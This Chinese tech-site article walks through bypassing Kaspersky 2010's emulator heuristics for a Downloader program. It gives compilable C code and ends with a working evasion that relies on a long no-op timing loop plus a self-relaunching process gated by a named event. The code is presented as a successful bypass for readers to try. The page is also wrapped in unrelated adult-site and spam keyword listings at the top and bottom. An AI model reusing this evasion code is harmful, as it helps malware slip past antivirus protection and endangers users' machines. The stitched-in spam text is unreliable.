精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

卡巴2010虛擬機啟發式查毒的繞過方法

安全
我認為在這里的虛擬機啟發式殺毒應該可以理解為在虛擬機中執行和啟發式殺毒。虛擬機即構造一個虛擬執行環境或者說一個仿真的環境,將病毒等惡意代碼在該仿真的環境中運行實現自己脫殼等等。該仿真的環境和用戶計算機的真實環境是隔離的。

據我了解在卡巴7中就有虛擬啟發式查毒的功能。國內就有人在BLOG上發表了一篇如何突破卡巴7的虛擬機啟發式查毒的文章[1]。卡巴8和最新的卡巴2010中仍然具有該功能。卡巴斯基不用我多說了,大家都知道。我最近在網上查到有人說卡巴斯基是俄羅斯國家科學院合作開發的,軍方和克里姆林宮專用。這個我還真的不清楚了,請原諒我的無知。我先來說下什么是虛擬機啟發式殺毒。

我認為在這里的虛擬機啟發式殺毒應該可以理解為在虛擬機中執行和啟發式殺毒。虛擬機即構造一個虛擬執行環境或者說一個仿真的環境,將病毒等惡意代碼在該仿真的環境中運行實現自己脫殼等等。該仿真的環境和用戶計算機的真實環境是隔離的。

舉個例子:現在的惡意代碼都采用加殼為自己提供保護,尤其是一些已知病毒的變種。當采用虛擬機執行技術加殼保護的惡意代碼仍能被殺毒軟件檢測到,有能力的讀者可以自己實驗一下。

啟發式指的是自我發現并推斷或判定事物的方式。啟發式殺毒通過分析程序指令的序列或者API函數的調用順序以及其他惡意代碼與正常程序的不同等經驗和知識的組合來判定是否是惡意代碼。這樣的啟發式殺毒具備某種人工智能特點。它的優點不用我多說廢話,舉個例子:Downloader相信大家都知道,最重要的兩個API是URLDownloadToFile和ShellExecute(也可以是其他執行一個程序的API)。例如,在使用虛擬機啟發式殺毒時,當被查毒程序的API調用序列中出現URLDownloadToFile或者ShellExecute,又或者不是按照先URLDownloadToFile后ShellExecute的調用順序是不會被報Downloader的。

可以說由于主動防御技術的種種缺點,現在各殺毒軟件廠商已經將虛擬機殺毒和啟發式殺毒作為殺毒業界的追求和探索的目標。可以預見到在未來幾年內殺毒軟件將不再會出現當正常使用系統和軟件時頻繁彈出主動防御窗口的尷尬。接下來將通過上面提到的Downloader例子分析下卡巴的虛擬機啟發式查毒的特點,并在最后給出一種可能的繞過方法和演示代碼,供各位看官賞玩。

我假設您已經知道什么是Downloader,一個最簡單的Downloader是:
#include "stdafx.h"
#include
#include
#pragma comment (lib,"Urlmon.lib")

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
        TCHAR szFileName[MAX_PATH] = {0};
        URLDownloadToCacheFile(NULL,L"
file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
        ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
        return 0;
}

這個程序是使用Visual Studio 2008創建的Win32窗口工程。編譯后卡巴2010直接報Downloader。首先使用了之前提到的xyzreg提到的方法,現在在卡巴2010下已經不適用,簡單的測試了一下卡巴2010會把自己模擬成explorer.exe。所以檢查父進程是否是explorer.exe的方法不行了,但是如果檢查自己的父進程是否是cmd.exe就可以了。當然這個實用性并不強,因為要求Downloader必須由cmd.exe啟動。

我覺得應該有其他的方法可以逃過虛擬查毒,但是這里只從虛擬查毒本身入手。首先想到的是這個虛擬機和真實環境是否有區別?這個回答當然是肯定的。但是這些區別在哪里,這些區別是否會影響到。是否存在一種情況虛擬機無法虛擬而導致虛擬環境下無法執行到URLDownloadToCacheFile和ShellExecute那就不會檢查到是Downloader了。這個思想很簡單,然后要怎么實現呢。

首先想到虛擬機是否虛擬了異常處理,如果沒有虛擬異常處理,那我們認為的制造一個異常,將具有Downloader特性的API調要放到異常處理程序中不就繞過了嗎。于是有了下面的代碼:

BOOL SafeDiv(INT32 dividend, INT32 divisor, INT32 *pResult)
{
    __try
    {
                *pResult = dividend / divisor;
    }
    __except(GetExceptionCode() == EXCEPTION_INT_DIVIDE_BY_ZERO ?
             EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
    {
                TCHAR szFileName[MAX_PATH] = {0};
        URLDownloadToCacheFile(NULL,L"
file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
                ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
                return TRUE;
    }
    return TRUE;
}

在Downloader的程序入口以參數divisor為0調用這個SafeDiv函數,。這樣就會產生一個除0的錯誤。結果是卡巴報Downloader!看樣子卡巴有對異常處理虛擬的能力。

恩。。。如果我在代碼中添加int 3中斷會發生什么情況呢?應該也虛擬了。現在就來試試,果然在Downloader入口添加int 3后當然是查不出來了,呵呵,程序也運行不了了。接下來就看看能不能找到方法讓程序在真實情況下能運行在,虛擬機下停住了。沒有多久想了一個替代的方法,判斷程序的輸入參數。通過檢查程序的輸入參數來控制程序的執行流程。簡單的在Downloader入口添加判斷程序參數的代碼:

if(strcmp(argv[1],"1")!== 0)
                return;

程序運行時輸入參數“1”程序執行Downloader的功能,在虛擬機中執行時沒有參數輸入所以程序返回,檢測不到惡意函數調用順序。當然這樣的惡意代碼是丑陋的,所以我想到使用CreateProcess來啟動Downloader自己的另一個實例。代碼如下:

部分變量聲明和初始化代碼省略。。。

INT32 divisor = 1;
        if(argc == 1)
        {
                TCHAR szPath[MAX_PATH];
                GetModuleFileName(NULL,szPath,MAX_PATH);
                CreateProcess(szPath,L"1 2",NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
                ExitProcess(0);
                return;
        }

        if(strcmp(argv[1],"2") == 0)
                divisor = 0;
        SafeDiv(10,divisor,&Result);
ExitProcess(0);
        return;
}

編譯成功后,使用卡巴2010查毒。報Downloader!失望啊!將對函數參數檢查的方式換成使用“命名對象”的方式:

//定義一個“命名對象”
TCHAR szMutex[] = L”11111”;
HANDLE hEvent = CreateEvent(NULL,NULL,NULL,szMutex);
int tmp = GetLastError();
if(tmp == 0)
{
        STARTUPINFO si;
        PROCESS_INFORMATION pi;

        ZeroMemory( &si, sizeof(si) );
        si.cb = sizeof(si);
        ZeroMemory( &pi, sizeof(pi) );
        TCHAR szPath[MAX_PATH];
        GetModuleFileName(NULL,szPath,MAX_PATH);

        CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
        return 0;
}
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"
file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
return 0;

報Downloader!失望!看樣子卡巴的虛擬機對API的模擬和程序執行的流程虛擬很到位!不知道對時間的虛擬的怎么樣?代碼中有Sleep(10000000)的語句會不會影響虛擬查毒的時間呢?根據我的實驗在其中加入Sleep函數睡眠很長的一段時間并沒有影響虛擬殺毒查出Downloader的時間,所以估計對時間的虛擬可能不好。將上面的代碼中在CreateProcess調用之后調用Sleep睡眠一段較長的時間如5秒,然后調用CloseHandle關閉“命名事件”。

如果卡巴遇到Sleep函數簡單的跳過,則在虛擬機中執行的順序將是先執行Sleep后的CloseHandle關閉事件,然后再進入到新實例中創建“命名事件”,在這種情況下就能創建成功,所以程序的執行流程不會進入到URLDownloadToCacheFile處,以此繞過檢測。但是實際情況時仍然被報Downloader,說明卡巴2010對Sleep等時間相關的函數虛擬的也很好。

到這里停下來想想,我們已經掌握了卡巴虛擬機執行的許多特性了,最理想的方案是在上述方法中進行改進,能達到對卡巴虛擬機執行的時間方面的攻擊。于是想到使用大量無意義的代碼塊來模擬Sleep函數的功能,原因是對于大量循環的無意義操作卡巴是否完全虛擬其執行,我想應該是沒有的。于是代碼變為:

#include "stdafx.h"
#include
#include
#include
#pragma comment (lib,"Urlmon.lib")


// Global Variables:
HINSTANCE hInst;    // current instance


// Forward declarations of functions included in this code module:


int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
        TCHAR szMutex[] = L"1111";
        HANDLE hEvnet = CreateEvent(NULL,NULL,NULL,szMutex);
        int tmp = GetLastError();
        if(tmp == 0)
        {
                STARTUPINFO si;
                PROCESS_INFORMATION pi;

                ZeroMemory( &si, sizeof(si) );
                si.cb = sizeof(si);
                ZeroMemory( &pi, sizeof(pi) );
                TCHAR szPath[MAX_PATH];
                GetModuleFileName(NULL,szPath,MAX_PATH);

                CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
                for(int i = 0;i < 1000000000; i++)
                        __nop();
                CloseHandle(hEvnet);
                return 0;
        }
        TCHAR szFileName[MAX_PATH] = {0};
        URLDownloadToCacheFile(NULL,L"
file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
        ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
        return 0;
}

編譯。對該文件執行查毒,沒有檢測到威脅。成功了。總的說來,卡巴的虛擬機沒有真正的像真實環境一樣對像。
               
for(int i = 0;i < 1000000000; i++)
                        __nop();

這樣的語句塊進行真正的執行,導致虛擬機的時間和真實環境下的時間不一致導致在虛擬機中和真實環境下的執行流程的不一樣。這樣就實現了對卡巴虛擬查毒的繞過。總的說來,卡巴斯基是一個很強大的殺毒軟件,殺毒能力確實也比較強,但是也不應該過分相信卡巴。有人
說的好,要讓人正確認識卡巴斯基這個優秀的殺毒軟件。

另外,本文的基于超時的攻擊思路和這篇2年前的文章[2]頗有一番異曲同工之妙,而”Timing Attack”在Google Scholar上的搜索結果有1,110,000[3]條!希望通過本文,能夠讓各位看官重新認識Timing Attack的奇妙之處。

最后,嚴重的感謝一下c4pr1c3的幫助和關懷。 

責任編輯:王文文 來源: secinn.appspot.com
相關推薦

2010-04-22 12:17:15

2013-09-25 10:18:26

Java啟發式搜索

2025-09-22 09:23:24

2013-10-10 11:04:32

VMInjector虛擬機安全工具

2010-01-21 11:17:36

xen虛擬機

2010-05-04 15:04:02

2024-07-10 10:41:38

2012-05-18 10:22:23

2022-08-09 11:25:52

數據備份服務器虛擬化磁盤

2010-03-03 09:57:37

Linux虛擬機

2020-01-17 10:52:37

無服務器容器技術

2010-07-26 09:02:38

2009-08-05 22:32:46

2013-07-17 09:32:58

2010-09-01 19:19:47

vmware虛擬化vmworld

2018-10-11 11:07:28

Windows虛擬機方法

2018-05-08 14:47:38

虛擬機方法代碼

2013-01-06 20:10:02

2023-04-26 07:51:36

虛擬機操作系統進程

2009-12-16 13:44:12

點贊
收藏

51CTO技術棧公眾號

最近2019年手机中文字幕| 一区二区三区在线不卡| 国产精品极品美女在线观看免费 | 无码人妻一区二区三区免费| 开心激情综合网| yellow字幕网在线| 欧美高清在线精品一区| 91久久精品国产91性色| 日本中文在线播放| 亚洲综合色站| 亚洲日本中文字幕免费在线不卡| 午夜激情视频网| 久久青青视频| 亚洲综合色在线| 亚洲欧美日韩在线综合| 神马午夜电影一区二区三区在线观看 | 99热99精品| 91麻豆桃色免费看| 7799精品视频天天看| 国产综合婷婷| 日韩一区在线视频| 欧美激情精品久久久久| 久久成年人网站| 香蕉伊大人中文在线观看| 综合久久综合久久| 日本中文不卡| 免费观看国产视频在线| 精品无码免费视频| 国产精品99久久久久久动医院| 亚洲国产欧美精品| 制服下的诱惑暮生| 日韩伦理一区二区| 欧洲精品在线观看| 欧洲av无码放荡人妇网站| 爱看av在线| 亚洲靠逼com| 这里只有精品66| 精彩国产在线| 久久免费视频色| 久久精品女人的天堂av| 好吊视频一区二区三区| 国产成人日日夜夜| 亚洲sss综合天堂久久| 中文字幕日韩经典| 奇米四色…亚洲| 国产精品久久久久不卡| 瑟瑟视频在线免费观看| 日本亚洲欧美天堂免费| 国产aⅴ夜夜欢一区二区三区| 欧美啪啪小视频| 亚洲一区区二区| 精品久久久久久中文字幕一区奶水| 日韩精品中文字幕在线播放| 国产农村妇女精品久久| 天堂久久一区| 宅男在线国产精品| 成人性生交视频免费观看| 91麻豆精品一二三区在线| 91精品国产综合久久婷婷香蕉| 最新免费av网址| 国产精品久久久久久久久久辛辛| 3d动漫精品啪啪一区二区竹菊| 成人av毛片在线观看| 成人精品在线| 日韩精品一区二区三区老鸭窝| 国产精品19p| 国产精品久久久久av蜜臀| 日韩成人在线免费观看| 精品人伦一区二区| 日韩在线理论| 欧美高清第一页| 日本熟妇毛耸耸xxxxxx| 久久九九99| 国产精品视频自在线| 一级黄色大片免费| 国产成人高清视频| 精品无码久久久久国产| 九色在线视频蝌蚪| 综合自拍亚洲综合图不卡区| 欧洲精品在线播放| 中国字幕a在线看韩国电影| 欧洲精品一区二区| 女人扒开双腿让男人捅| 伊人久久大香线蕉综合网站 | 国产精品久久久久久久免费软件| 欧美有码在线观看| 日本乱人伦a精品| 蜜桃无码一区二区三区| 色999国产精品| 久久久亚洲精品视频| 成年人视频免费| 国产裸体歌舞团一区二区| 国产区二精品视| 永久av在线| 亚洲午夜精品在线| 欧美成人黄色网址| 97久久精品| 色婷婷综合久久久久中文字幕1| 青娱乐av在线| 美女网站一区二区| 久久综合九色综合网站| 麻豆网站在线观看| 日韩欧美中文字幕在线播放| 女人高潮一级片| 欧美女优在线视频| 久久99亚洲热视| 一区二区乱子伦在线播放| 丁香婷婷深情五月亚洲| 亚洲精品一区二| 亚洲天堂手机| 精品国产亚洲在线| 老司机成人免费视频| 亚洲激情成人| 亚洲一区二区在线播放| 黄色国产在线| 欧美日韩精品二区| 国产伦理在线观看| 欧美hentaied在线观看| 日韩美女免费线视频| 黄色av网址在线| 亚洲狼人国产精品| 欧美裸体男粗大视频在线观看| 爱福利视频一区二区| 91亚洲无吗| 欧美成人免费观看| 国产精品特级毛片一区二区三区| 久久综合九色综合久久久精品综合| 国产尤物av一区二区三区| 亚洲综合资源| 综合136福利视频在线| 黄色片视频免费| 不卡视频免费播放| 欧美一级免费播放| 伊人久久大香线蕉av超碰| 蜜月aⅴ免费一区二区三区| 一级爱爱免费视频| 中文字幕av不卡| 日韩无套无码精品| 欧美男gay| 国产精品69精品一区二区三区| 午夜视频免费看| 天天综合天天做天天综合| 91精产国品一二三| 国产精品hd| 国产精品.com| av资源新版天堂在线| 精品国产3级a| 日韩三级小视频| 99久久精品免费| 久久亚洲中文字幕无码| 国产在线免费av| 都市激情亚洲欧美| 久久久久国产一区二区三区| av中文字幕观看| 一区二区三区视频在线观看| 波多野结衣三级视频| 很黄很黄激情成人| 久久综合久久久| 欧美成人app| zzijzzij亚洲日本成熟少妇| 国产chinasex对白videos麻豆| 亚洲精品ww久久久久久p站| 亚洲精品乱码久久久久久9色| 国产一区日韩一区| 久久精品成人一区二区三区蜜臀| 天堂中文av在线资源库| 亚洲一区999| 国产又粗又黄又爽| 亚洲永久精品大片| 久久人人妻人人人人妻性色av| 久久亚洲色图| 91国产精品91| 日本三级免费观看| xxxx日韩| 热re99久久精品国产66热| 国产在线自天天| 3atv一区二区三区| 日本系列第一页| 国产欧美精品一区二区色综合| 超碰在线97免费| 欧美午夜视频| 日韩欧美一区二区三区久久婷婷| 祥仔av免费一区二区三区四区| 欧美激情奇米色| 免费在线性爱视频| 91精品国产综合久久福利| 国产一级二级三级视频| 国产亚洲精品中文字幕| 永久看看免费大片| 久久美女性网| www.男人天堂网| 国内精品视频在线观看| 91麻豆蜜桃| 亚洲不卡系列| 午夜精品美女自拍福到在线| 中文字幕在线播放| 亚洲国产精品资源| 国产精品探花视频| 色成年激情久久综合| 青青草成人免费| 日本一区二区三级电影在线观看 | 99久久久国产| 欧美一级视频在线观看| 色呦呦在线看| 精品国产美女在线| 你懂的视频在线| 精品国产1区二区| 国产三级视频在线播放| 日本道在线观看一区二区| 久久久一区二区三区四区| 中文一区二区完整视频在线观看| 亚洲男女在线观看| 国产乱人伦偷精品视频不卡| 国产高清视频网站| 国产日韩欧美高清免费| 成年女人18级毛片毛片免费| 999久久久免费精品国产| 欧美一区二区三区在线播放| av成人男女| 亚洲精品免费网站| 日韩一区中文| 毛片一区二区| 精品欧美一区二区精品久久| 国产精品久久久久久久久久辛辛 | 在线观看毛片网站| 精品国产福利视频| 青青草原国产视频| 日韩一区欧美小说| 少妇的滋味中文字幕bd| 久久午夜老司机| 中文字幕影片免费在线观看| 国产成人av一区二区| 91蝌蚪视频在线| 久国产精品韩国三级视频| 爱情岛论坛成人| 欧美一级网站| 国产精品va无码一区二区| 亚洲午夜极品| 欧美 日韩 国产精品| 久久久久蜜桃| 樱花www成人免费视频| 日韩免费在线| 亚洲欧洲精品在线观看| 精品香蕉视频| 亚洲国产精品日韩| 日韩成人影院| 久久av秘一区二区三区| 久久亚洲成人| 天天想你在线观看完整版电影免费 | 精品国产百合女同互慰| 超碰97在线资源| 九七电影院97理论片久久tvb| 秋霞av国产精品一区| 芒果视频成人app| 国产精品久久久久久av下载红粉| 天天免费亚洲黑人免费| 国产精品极品尤物在线观看| 久久三级毛片| 亚洲一区二区中文字幕| 福利在线一区| 欧美凹凸一区二区三区视频| 国产99久久久国产精品成人免费| 欧美日韩亚洲免费| 日韩一区二区三区免费播放| 亚洲一区二区三区欧美| 亚洲九九在线| 欧日韩免费视频| 久热国产精品| 国产又黄又猛的视频| 国产.欧美.日韩| 国产又黄又粗又猛又爽的视频| 久久久久久久久久久电影| 欧美xxxx精品| 亚洲码国产岛国毛片在线| 久久精品一级片| 黑人巨大精品欧美一区二区| 在线播放国产一区| 日韩欧美不卡在线观看视频| 日本黄色大片视频| 国产亚洲精品一区二555| 老司机av在线免费看| 久久久久亚洲精品成人网小说| 亚洲女同av| 91最新在线免费观看| 国产精品毛片久久久| 亚洲福利在线看| 特级特黄刘亦菲aaa级| 国产成人av一区二区| 蜜桃传媒一区二区亚洲av | 日韩欧美一区二区视频在线播放| 99久久精品费精品国产风间由美| 很污的网站在线观看| 久久精品国产亚洲一区二区三区| 国内精品免费视频| 国产精品久久毛片av大全日韩| 久久99久久久| 欧美视频在线一区| 天堂av中文字幕| 日韩中文第一页| 成人福利av| wwwxx欧美| 色综合色综合| 91黄色小网站| 岛国一区二区三区| 国产探花在线视频| 色婷婷狠狠综合| 亚洲精品一区二区三区区别| 中文字幕不卡在线视频极品| 欧美私密网站| 国产高清不卡av| 日韩欧美1区| 精品www久久久久奶水| 丁香婷婷深情五月亚洲| 久久久久久久久久97| 日韩欧美在线网址| 刘亦菲久久免费一区二区| 日韩视频―中文字幕| 欧美成人h版| 国产伦精品一区| 国产精品啊啊啊| 中文字幕 欧美日韩| 欧美激情一区二区三区在线| 国产精品7777777| 欧美va亚洲va国产综合| 老司机在线视频二区| 国产精品亚洲一区二区三区| 国产探花一区二区| 播放灌醉水嫩大学生国内精品| 国产福利不卡视频| 欧美国产精品一二三| 88在线观看91蜜桃国自产| 超碰免费在线观看| 国产精品99久久久久久久久久久久| 欧洲亚洲视频| 欧美爱爱视频免费看| av网站免费线看精品| 精品深夜av无码一区二区老年| 日韩午夜在线观看| 二区三区在线观看| 91aaaa| 欧美激情精品久久久六区热门| 69久久久久久| 国产精品九色蝌蚪自拍| 96亚洲精品久久久蜜桃| 日韩视频永久免费观看| 国产乱码精品一区二区三区亚洲人| 一区不卡视频| 国产一区免费电影| 一级黄色录像视频| 你懂的亚洲视频| 在线丝袜欧美日韩制服| 蜜桃视频在线观看一区| 欧美福利在线视频| 777久久久精品| a级网站在线播放| 成人自拍网站| 亚洲美女啪啪| 在线观看国产三级| 在线观看一区日韩| 麻豆免费在线视频| 91久久精品国产91久久性色tv| 欧美在线免费| 日b视频在线观看| 在线亚洲精品福利网址导航| av黄色在线观看| 91麻豆国产精品| 亚洲美女色禁图| 精品亚洲aⅴ无码一区二区三区| 精品污污网站免费看| 秋霞午夜在线观看| 国产精品初高中精品久久| 免费欧美在线| 精品女人久久久| 欧美成人官网二区| 超碰aⅴ人人做人人爽欧美| 亚洲黄色成人久久久| 国产麻豆视频精品| 欧美日韩综合在线观看| 一区二区三区四区精品| 久久久久九九精品影院| 欧美一级在线看| 国产精品欧美一区喷水| 亚洲精品97久久中文字幕无码| 91高清免费视频| 一区二区三区国产精华| 国产激情第一页| 欧美日韩国产欧美日美国产精品| av片哪里在线观看| 欧美污视频久久久| 国产一区二区不卡| 日韩欧美成人一区二区三区 | 久久青青草原| 久久91精品久久久久久秒播| 国产精品午夜影院| 久久成人av网站| 国产成人手机高清在线观看网站| 在线观看一区二区三区视频| 欧美专区日韩专区| 欧产日产国产精品视频| 超碰成人在线免费观看|